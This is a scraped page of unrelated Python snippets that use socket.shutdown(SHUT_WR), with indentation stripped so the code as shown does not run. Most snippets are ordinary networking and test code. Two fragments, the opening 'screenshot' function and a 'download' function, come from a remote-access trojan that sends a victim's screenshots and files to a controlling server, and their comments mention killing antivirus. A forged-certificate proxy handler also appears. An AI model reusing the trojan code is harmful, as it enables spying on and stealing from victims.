def screenshot(s):
nome = TEMPDIR + '/screenshot'+str(random.randint(0,1000000)) + '.png'
if(os.name == 'posix'): # se for unix-like
img = pyscreenshot.grab()
img.save(nome)
elif(os.name == 'nt'): # se for windows
img = ImageGrab.grab()
img.save(nome)
# envia para o servidor
f = open(nome ,'rb')
l = f.read(1024)
l = nome + '+/-' + l
while(l):
s.send(l)
l = f.read(1024)
f.close()
print('enviado')
s.shutdown(socket.SHUT_WR)
os.remove(nome)
# recebe arquivos do servidor e salva no PC da vitma
python类SHUT_WR的实例源码
def shutdown_request(self, request):
"""Called to shutdown and close an individual request."""
try:
#explicitly shutdown. socket.close() merely releases
#the socket and waits for GC to perform the actual close.
request.shutdown(socket.SHUT_WR)
except socket.error:
pass #some platforms may raise ENOTCONN here
self.close_request(request)
def __serve(self, client, server):
'Private class method.'
pairs = {client: server, server: client}
while pairs:
read, write, error = _select.select(pairs.keys(), [], [])
for socket in read:
string = socket.recv(self.BUFFERSIZE)
if string:
pairs[socket].sendall(string)
else:
pairs[socket].shutdown(_socket.SHUT_WR)
socket.shutdown(_socket.SHUT_RD)
del pairs[socket]
client.close()
server.close()
################################################################################
def _write_ready(self):
assert self._buffer, 'Data should not be empty'
try:
n = self._sock.send(self._buffer)
except (BlockingIOError, InterruptedError):
pass
except Exception as exc:
self._loop.remove_writer(self._sock_fd)
self._buffer.clear()
self._fatal_error(exc, 'Fatal write error on socket transport')
else:
if n:
del self._buffer[:n]
self._maybe_resume_protocol() # May append to buffer.
if not self._buffer:
self._loop.remove_writer(self._sock_fd)
if self._closing:
self._call_connection_lost(None)
elif self._eof:
self._sock.shutdown(socket.SHUT_WR)
def _make_request(self, query):
if not query.endswith("\n"):
query += "\n"
query += "Localtime: %d\nOutputFormat: python\nResponseHeader: fixed16\n\n" % int(time.time())
self._open_socket()
if python_3():
self.__socket.send(bytes(query, encoding='UTF-8'))
else:
self.__socket.send(query)
self.__socket.shutdown(socket.SHUT_WR)
data = ""
buffer = self.__socket.recv(BUFFER_SIZE)
while buffer:
data += buffer.decode()
buffer = self.__socket.recv(BUFFER_SIZE)
return_code = data[0:3]
if return_code == "200":
return eval(data[16:])
else:
raise Exception("Livestatus returned with " + return_code)
def handleclient(self, c, a):
w = socketwrapper(c)
sys.stdout = w
ip, cport, flowinfo, scopeid = a
c.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
q = ''
r = c.recv(256)
while r:
q += r
i = q.find('\r\n')
if i >= 0:
q = q[:i]
if ip.startswith('::ffff:'):
ip = ip[7:]
self.log("%s %s" % (ip, q))
# XXX: the 192.168.0.* check is a terrible hack until the
# Perl query interface is rewritten.
query(q, self.dbstring, w,
remote = (ip != '127.0.0.1' and ip != '::1'
and not ip.startswith('192.168.0.')))
c.shutdown(socket.SHUT_WR)
break
r = c.recv(256)
c.close()
def disconnect(self, *, wait=True, timeout=2.0):
for cid, ch in list(self.channels.items()):
ch.disconnect(wait=wait, timeout=timeout)
self.channels.pop(cid)
with self.new_command_cond:
self.circuit.disconnect()
sock = self.socket
if sock is not None:
self.selector.remove_socket(sock)
try:
sock.shutdown(socket.SHUT_WR)
sock.close()
except OSError:
pass
self.socket = None
self.channels.clear()
self.ioids.clear()
def netcat(host, port, content, timeout=60, max_size=4096):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
s.sendall(content.encode())
s.shutdown(socket.SHUT_WR)
result = None
ready = select.select([s], [], [], timeout)
if ready[0]:
s.setblocking(False)
data = s.recv(max_size)
if data:
result = str(data)
s.close()
return result
def scanner_cmd(cmd):
client = socket.socket(socket.AF_UNIX)
client.settimeout(1)
client.connect_ex("/var/run/device-scanner.sock")
client.sendall(json.dumps({"ACTION": cmd}))
client.shutdown(socket.SHUT_WR)
out = ''
while True:
data = client.recv(1024)
size = len(data)
if size == 0:
break
out += data
return json.loads(out)
def server(self):
# This method sets the evt 3 times:
# 1) when the connection is ready to be accepted.
# 2) when it is safe for the caller to close the connection
# 3) when we have closed the socket
self.sock.listen(5)
# (1) Signal the caller that we are ready to accept the connection.
self.evt.set()
try:
conn, addr = self.sock.accept()
except socket.timeout:
pass
else:
conn.sendall(b"1 Hola mundo\n")
conn.shutdown(socket.SHUT_WR)
# (2) Signal the caller that it is safe to close the socket.
self.evt.set()
conn.close()
finally:
self.sock.close()
def _write_ready(self):
assert self._buffer, 'Data should not be empty'
if self._conn_lost:
return
try:
n = self._sock.send(self._buffer)
except (BlockingIOError, InterruptedError):
pass
except Exception as exc:
self._loop._remove_writer(self._sock_fd)
self._buffer.clear()
self._fatal_error(exc, 'Fatal write error on socket transport')
else:
if n:
del self._buffer[:n]
self._maybe_resume_protocol() # May append to buffer.
if not self._buffer:
self._loop._remove_writer(self._sock_fd)
if self._closing:
self._call_connection_lost(None)
elif self._eof:
self._sock.shutdown(socket.SHUT_WR)
def communicate(host, port):
""" Read from stdin till EOF, send, then return the results of recv().
"""
s = socket.socket()
s.connect((host, port))
payload = sys.stdin.read().encode()
s.sendall(payload)
s.shutdown(socket.SHUT_WR)
output = []
while True:
read = s.recv(READ_SIZE)
if read:
output.append(read.decode())
else:
break
return ''.join(output)
def communicate(host, port):
""" Read from stdin till EOF, send, then return the results of recv().
"""
s = socket.socket()
s.connect((host, port))
payload = sys.stdin.read().encode()
s.sendall(payload)
s.shutdown(socket.SHUT_WR)
output = []
while True:
read = s.recv(READ_SIZE)
if read:
output.append(read.decode())
else:
break
return ''.join(output)
def close(self):
try:
self.socket.flush()
except Exception:
pass
try:
self.socket.shutdown(raw_socket.SHUT_WR)
except Exception:
pass
try:
self.socket.close()
except Exception:
pass
self.socket = None
self.server.remove_connection(self)
def _write_ready(self):
assert self._buffer, 'Data should not be empty'
try:
n = self._sock.send(self._buffer)
except (BlockingIOError, InterruptedError):
pass
except Exception as exc:
self._loop.remove_writer(self._sock_fd)
self._buffer.clear()
self._fatal_error(exc, 'Fatal write error on socket transport')
else:
if n:
del self._buffer[:n]
self._maybe_resume_protocol() # May append to buffer.
if not self._buffer:
self._loop.remove_writer(self._sock_fd)
if self._closing:
self._call_connection_lost(None)
elif self._eof:
self._sock.shutdown(socket.SHUT_WR)
def netcat(hostname, port, content):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
s.sendall(content)
s.shutdown(socket.SHUT_WR)
data = []
while True:
datum = s.recv(1024)
if datum == '':
break
datum = datum.split('\n')
for dat in datum:
if dat != '':
dat = float(dat)
if 5 >= dat >= 0:
data.append(dat)
s.close()
return data
def netcat(hostname, port, content):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
s.sendall(content)
s.shutdown(socket.SHUT_WR)
output = ""
while 1:
data = s.recv(1024)
if data == "":
break
#print "Received:", repr(data)
output += data
#print "Connection closed."
# res = repr(data)
s.close()
return output
def netcat(hostname, port, content, quiet=False):
if not quiet:
print('Connecting to port {}'.format(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
s.sendall(content.encode('utf-8'))
s.shutdown(socket.SHUT_WR)
data = []
while True:
datum = s.recv(16384)
if datum == '':
break
datum = datum.split('\n')
for dat in datum:
if dat != '':
dat = float(dat)
if 1 >= dat >= -1: #TODO: Parameterize
data.append(dat)
s.close()
return data
def _write_ready(self):
assert self._buffer, 'Data should not be empty'
try:
n = self._sock.send(self._buffer)
except (BlockingIOError, InterruptedError):
pass
except Exception as exc:
self._loop.remove_writer(self._sock_fd)
self._buffer.clear()
self._fatal_error(exc, 'Fatal write error on socket transport')
else:
if n:
del self._buffer[:n]
self._maybe_resume_protocol() # May append to buffer.
if not self._buffer:
self._loop.remove_writer(self._sock_fd)
if self._closing:
self._call_connection_lost(None)
elif self._eof:
self._sock.shutdown(socket.SHUT_WR)
def download(s):
arquivo = s.recv(1024)
print(arquivo)
if(os.path.isfile(arquivo)):
f = open(arquivo, 'rb')
l = f.read(1024)
l = 'True+/-' + l
while(l):
s.send(l)
l = f.read(1024)
f.close()
print('envio completo')
s.shutdown(s.SHUT_WR)
else:
s.send('False')
# finaliza o processo do antivirus rodando na maquina
def do_FAKECERT(self):
#???????????????
self.write(b'HTTP/1.1 200 Connection Established\r\n\r\n')
if not self.fakecert: return
context = self.get_context()
try:
ssl_sock = context.wrap_socket(self.connection, server_side=True)
except Exception as e:
if e.args[0] not in pass_errno:
logging.exception('%s ?????????host=%r?%r', self.address_string(), self.host, e)
return
#???????
self.finish()
#???????
self.request = ssl_sock
self.setup()
try:
#????????
self.handle()
finally:
#?????????????????? 2 ? makefile
#ssl_sock.shutdown(socket.SHUT_WR)
ssl_sock.close()
xvp_proxy.py 文件源码
项目：Trusted-Platform-Module-nova
作者: BU-NU-CLOUD-SP16
项目源码
文件源码
阅读 33
收藏 0
点赞 0
评论 0
def one_way_proxy(self, source, dest):
"""Proxy tcp connection from source to dest."""
while True:
try:
d = source.recv(32384)
except Exception:
d = None
# If recv fails, send a write shutdown the other direction
if d is None or len(d) == 0:
dest.shutdown(socket.SHUT_WR)
break
# If send fails, terminate proxy in both directions
try:
# sendall raises an exception on write error, unlike send
dest.sendall(d)
except Exception:
source.close()
dest.close()
break
def _cleanupSocket(self):
"""Close the Connection's socket."""
try:
self._sock.shutdown(socket.SHUT_WR)
except:
return
try:
while True:
r, w, e = select.select([self._sock], [], [])
if not r or not self._sock.recv(1024):
break
except:
pass
self._sock.close()
def shutdown_request(self, request):
"""Called to shutdown and close an individual request."""
try:
#explicitly shutdown. socket.close() merely releases
#the socket and waits for GC to perform the actual close.
request.shutdown(socket.SHUT_WR)
except socket.error:
pass #some platforms may raise ENOTCONN here
self.close_request(request)
def _loop_writing(self, f=None, data=None):
try:
assert f is self._write_fut
self._write_fut = None
self._pending_write = 0
if f:
f.result()
if data is None:
data = self._buffer
self._buffer = None
if not data:
if self._closing:
self._loop.call_soon(self._call_connection_lost, None)
if self._eof_written:
self._sock.shutdown(socket.SHUT_WR)
# Now that we've reduced the buffer size, tell the
# protocol to resume writing if it was paused. Note that
# we do this last since the callback is called immediately
# and it may add more data to the buffer (even causing the
# protocol to be paused again).
self._maybe_resume_protocol()
else:
self._write_fut = self._loop._proactor.send(self._sock, data)
if not self._write_fut.done():
assert self._pending_write == 0
self._pending_write = len(data)
self._write_fut.add_done_callback(self._loop_writing)
self._maybe_pause_protocol()
else:
self._write_fut.add_done_callback(self._loop_writing)
except ConnectionResetError as exc:
self._force_close(exc)
except OSError as exc:
self._fatal_error(exc, 'Fatal write error on pipe transport')
def write_eof(self):
if self._closing or self._eof_written:
return
self._eof_written = True
if self._write_fut is None:
self._sock.shutdown(socket.SHUT_WR)
def write_eof(self):
if self._eof:
return
self._eof = True
if not self._buffer:
self._sock.shutdown(socket.SHUT_WR)
def test_write_eof(self):
tr = self.socket_transport()
self.assertTrue(tr.can_write_eof())
tr.write_eof()
self.sock.shutdown.assert_called_with(socket.SHUT_WR)
tr.write_eof()
self.assertEqual(self.sock.shutdown.call_count, 1)
tr.close()
def test_write_eof(self):
tr = self.socket_transport()
self.assertTrue(tr.can_write_eof())
tr.write_eof()
self.sock.shutdown.assert_called_with(socket.SHUT_WR)
tr.write_eof()
self.assertEqual(self.sock.shutdown.call_count, 1)
tr.close()
def test_write_eof_buffer(self):
tr = self.socket_transport()
self.sock.send.side_effect = BlockingIOError
tr.write(b'data')
tr.write_eof()
self.assertEqual(tr._buffer, list_to_buffer([b'data']))
self.assertTrue(tr._eof)
self.assertFalse(self.sock.shutdown.called)
self.sock.send.side_effect = lambda _: 4
tr._write_ready()
self.assertTrue(self.sock.send.called)
self.sock.shutdown.assert_called_with(socket.SHUT_WR)
tr.close()
